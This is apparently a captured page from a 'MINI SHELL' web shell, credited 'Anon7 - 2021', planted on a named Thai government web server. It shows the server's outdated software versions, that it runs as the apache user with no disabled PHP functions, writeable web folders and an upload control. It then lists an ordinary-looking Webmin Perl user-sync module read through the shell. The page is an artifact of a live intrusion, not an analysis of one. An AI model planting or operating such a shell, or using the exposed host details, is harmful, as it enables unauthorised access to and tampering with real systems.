MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/libexec/webmin/apache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/libexec/webmin/apache/useradmin_update.pl
do 'apache-lib.pl';
do 'auth-lib.pl';

foreach $k (keys %config) {
	if ($k =~ /^sync_(.*)$/) {
		push(@sync, [ $1, $config{$k} ]);
		}
	}

# useradmin_create_user(&details)
sub useradmin_create_user
{
foreach $s (@sync) {
	if ($s->[1] =~ /create/ && !&get_authuser($s->[0], $_[0]->{'user'})) {
		&lock_file($s->[0]);
		&create_authuser($s->[0], { 'user' => $_[0]->{'user'},
					    'pass' => $_[0]->{'pass'} });
		&unlock_file($s->[0]);
		}
	}
}

# useradmin_delete_user(&details)
sub useradmin_delete_user
{
foreach $s (@sync) {
	if ($s->[1] =~ /delete/) {
		&lock_file($s->[0]);
		&delete_authuser($s->[0], $_[0]->{'user'});
		&unlock_file($s->[0]);
		}
	}
}

# useradmin_modify_user(&details)
sub useradmin_modify_user
{
foreach $s (@sync) {
	if ($s->[1] =~ /modify/) {
		&lock_file($s->[0]);
		&save_authuser($s->[0], $_[0]->{'olduser'},
			       { 'user' => $_[0]->{'user'},
				 'pass' => $_[0]->{'pass'} });
		&unlock_file($s->[0]);
		}
	}
}

1;


Anon7 - 2021